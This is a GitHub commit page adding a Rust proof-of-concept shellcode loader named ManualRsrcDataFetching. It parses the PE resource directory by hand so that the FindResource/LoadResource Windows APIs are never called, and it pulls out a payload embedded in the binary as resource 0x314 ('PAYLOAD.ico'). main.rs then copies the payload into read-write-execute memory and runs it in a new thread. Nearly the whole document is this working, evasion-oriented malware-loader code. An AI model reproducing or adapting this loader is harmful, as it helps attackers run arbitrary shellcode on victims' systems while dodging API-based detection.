Skip to content

Commit 45cc638

Browse files
committed
ManulaRsrcDataFetching
Using one function to replace FindResource & LoadResource & LockResource & SizeofResource windows apis.
1 parent 4eba9e7 commit 45cc638

File tree

7 files changed

+235
-0
lines changed

7 files changed

+235
-0
lines changed

ManualRsrcDataFetching/Cargo.toml

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
[package]
2+
name = "ManualRsrcDataFetching"
3+
version = "0.1.0"
4+
edition = "2024"
5+
6+
[dependencies]
7+
windows-sys = { version = "0.60.2", features = [
8+
"Win32_Foundation",
9+
"Win32_System_LibraryLoader",
10+
"Win32_System_Memory",
11+
"Win32_Security",
12+
"Win32_System_Threading",
13+
"Win32_System_Diagnostics_Debug",
14+
"Win32_System_SystemServices",
15+
"Win32_System_SystemInformation"
16+
17+
18+
]}
19+
20+
[build-dependencies]
21+
windres = "0.2.2"
22+

ManualRsrcDataFetching/PAYLOAD.ico

272 Bytes
Binary file not shown.

ManualRsrcDataFetching/README.md

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
## ManualRsrcDataFetching Rust Version...
2+
3+
![IMAGE_Poc](./image.png)
4+
5+
This PoC demonstrates the use of one function to replace FindResource & LoadResource & LockResource & SizeofResource windows apis.
6+
7+
8+
## Credits / Resources
9+
10+
* [NUL0x4C](https://x.com/NUL0x4C) - PoC: https://github.com/NUL0x4C/ManualRsrcDataFetching.
11+

ManualRsrcDataFetching/build.rs

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
2+
fn main() {
3+
if std::env::var("CARGO_CFG_TARGET_OS").unwrap() == "windows" {
4+
5+
windres::Build::new()
6+
.compile("resource.rc")
7+
.unwrap();
8+
}
9+
}

ManualRsrcDataFetching/image.png

213 KB
Loading

ManualRsrcDataFetching/resource.rc

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
// 788 DEC is -> 0x314 HEX !
2+
788 RCDATA "PAYLOAD.ico"

ManualRsrcDataFetching/src/main.rs

Lines changed: 191 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,191 @@
1+
// ManualsrrcDataFetching Rust version
2+
// Author: @5mukx - Smukx
3+
4+
const MY_PAYLOAD: u16 = 0x314;
5+
6+
use std::{
7+
mem,
8+
ptr::{null, null_mut},
9+
};
10+
11+
12+
use windows_sys::Win32::{
13+
Foundation::{CloseHandle, HMODULE},
14+
System::{
15+
Diagnostics::Debug::{
16+
IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_RESOURCE, IMAGE_NT_HEADERS64,
17+
IMAGE_NT_OPTIONAL_HDR64_MAGIC,
18+
},
19+
LibraryLoader::GetModuleHandleA,
20+
Memory::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE, VirtualAlloc},
21+
SystemServices::{
22+
IMAGE_DOS_HEADER, IMAGE_RESOURCE_DATA_ENTRY, IMAGE_RESOURCE_DIRECTORY,
23+
IMAGE_RESOURCE_DIRECTORY_ENTRY,
24+
},
25+
Threading::{CreateThread, WaitForSingleObject},
26+
},
27+
};
28+
29+
fn get_resource_data(h_module: HMODULE, resource_id: u16) -> Option<(*const u8, u32)> {
30+
unsafe {
31+
let base_addr = h_module as *const u8;
32+
33+
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
34+
if (*dos_header).e_magic != 0x5A4D {
35+
// "MZ"
36+
return None;
37+
}
38+
39+
let nt_headers =
40+
base_addr.add((*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
41+
42+
if (*nt_headers).OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR64_MAGIC {
43+
return None;
44+
}
45+
46+
let optional_header = &(*nt_headers).OptionalHeader;
47+
let data_directory = &optional_header.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE as usize]
48+
as *const IMAGE_DATA_DIRECTORY;
49+
50+
if (*data_directory).Size == 0 {
51+
return None;
52+
}
53+
54+
let resource_dir_addr = base_addr.add((*data_directory).VirtualAddress as usize);
55+
let resource_dir = resource_dir_addr as *const IMAGE_RESOURCE_DIRECTORY;
56+
57+
let resource_entry = (resource_dir as *const u8)
58+
.add(mem::size_of::<IMAGE_RESOURCE_DIRECTORY>())
59+
as *const IMAGE_RESOURCE_DIRECTORY_ENTRY;
60+
61+
// This is a very brittle approach, but we replicate it here for a direct translation.
62+
let num_entries = (*resource_dir).NumberOfNamedEntries + (*resource_dir).NumberOfIdEntries;
63+
64+
for i in 0..num_entries {
65+
let entry1 = &*resource_entry.add(i as usize);
66+
67+
// access the bitfield from the 2nd union
68+
let bitfield1 = entry1.Anonymous2.Anonymous._bitfield;
69+
let is_directory1 = (bitfield1 >> 31) & 1;
70+
71+
if is_directory1 == 0 {
72+
continue;
73+
}
74+
75+
let offset = (bitfield1 & 0x7FFFFFFF) as usize;
76+
let resource_dir2_addr = resource_dir_addr.add(offset);
77+
let resource_dir2 = resource_dir2_addr as *const IMAGE_RESOURCE_DIRECTORY;
78+
79+
let resource_entry2 = (resource_dir2 as *const u8)
80+
.add(mem::size_of::<IMAGE_RESOURCE_DIRECTORY>())
81+
as *const IMAGE_RESOURCE_DIRECTORY_ENTRY;
82+
83+
84+
let bitfield2 = (*resource_entry2).Anonymous2.Anonymous._bitfield;
85+
let is_directory2 = (bitfield2 >> 31) & 1;
86+
87+
if is_directory2 == 1 && (*resource_entry2).Anonymous1.Id == resource_id {
88+
let offset2 = (bitfield2 & 0x7FFFFFFF) as usize;
89+
let resource_dir3_addr = resource_dir_addr.add(offset2);
90+
let resource_dir3 = resource_dir3_addr as *const IMAGE_RESOURCE_DIRECTORY;
91+
92+
let resource_entry3 = (resource_dir3 as *const u8)
93+
.add(mem::size_of::<IMAGE_RESOURCE_DIRECTORY>())
94+
as *const IMAGE_RESOURCE_DIRECTORY_ENTRY;
95+
96+
let offset3 = (*resource_entry3).Anonymous2.OffsetToData as usize;
97+
let resource_data_entry_addr = resource_dir_addr.add(offset3);
98+
let resource_data_entry =
99+
resource_data_entry_addr as *const IMAGE_RESOURCE_DATA_ENTRY;
100+
101+
let data_ptr = base_addr.add((*resource_data_entry).OffsetToData as usize);
102+
let data_size = (*resource_data_entry).Size;
103+
104+
return Some((data_ptr, data_size));
105+
}
106+
}
107+
}
108+
None
109+
}
110+
111+
fn pause() {
112+
use std::io::{self, Read};
113+
println!("\n[+] Press Enter to continue...");
114+
let _ = io::stdin().read(&mut [0u8]).unwrap();
115+
}
116+
117+
fn main() {
118+
println!("[+] Searching for resource with ID: {:#X}", MY_PAYLOAD);
119+
120+
unsafe {
121+
// Get a handle to the current executable in memory.
122+
let h_module = GetModuleHandleA(null());
123+
if h_module == null_mut() {
124+
eprintln!("[!] Failed to get module handle.");
125+
return;
126+
}
127+
128+
// Attempt to find the resource data.
129+
match get_resource_data(h_module, MY_PAYLOAD) {
130+
Some((data_ptr, data_size)) => {
131+
println!(
132+
"[+] Found resource!\n -> Address: {:p}\n -> Size: {} bytes",
133+
data_ptr, data_size
134+
);
135+
136+
pause();
137+
138+
// Allocate executable memory.
139+
println!("[+] Allocating {} bytes of executable memory...", data_size);
140+
let exec_mem = VirtualAlloc(
141+
null_mut(),
142+
data_size as usize,
143+
MEM_COMMIT | MEM_RESERVE,
144+
PAGE_EXECUTE_READWRITE,
145+
);
146+
147+
if exec_mem.is_null() {
148+
eprintln!("[!] Failed to allocate executable memory.");
149+
return;
150+
}
151+
println!("[+] Memory allocated at: {:p}", exec_mem);
152+
153+
// Copy the resource data (shellcode) into the allocated memory.
154+
std::ptr::copy_nonoverlapping(data_ptr, exec_mem as *mut u8, data_size as usize);
155+
println!("[+] Copied payload to executable memory.");
156+
157+
// Execute the payload in a new thread.
158+
println!("[+] Creating a new thread to execute the payload...");
159+
let h_thread = CreateThread(
160+
null_mut(),
161+
0,
162+
Some(std::mem::transmute(exec_mem)), // Transmute the memory pointer to a thread function pointer
163+
null_mut(),
164+
0,
165+
null_mut(),
166+
);
167+
168+
if h_thread == null_mut() {
169+
eprintln!("[!] Failed to create thread.");
170+
} else {
171+
println!(
172+
"[+] Thread created successfully with handle: {:?}",
173+
h_thread
174+
);
175+
println!("[+] Wait until the thread finish executing");
176+
177+
WaitForSingleObject(h_thread, 0xFFFFFFFF);
178+
179+
println!("[+] Thread has finished.");
180+
181+
CloseHandle(h_thread);
182+
}
183+
184+
pause();
185+
}
186+
None => {
187+
eprintln!("[!] Could not find resource with ID: {:#X}", MY_PAYLOAD);
188+
}
189+
}
190+
}
191+
}

0 commit comments

Comments
 (0)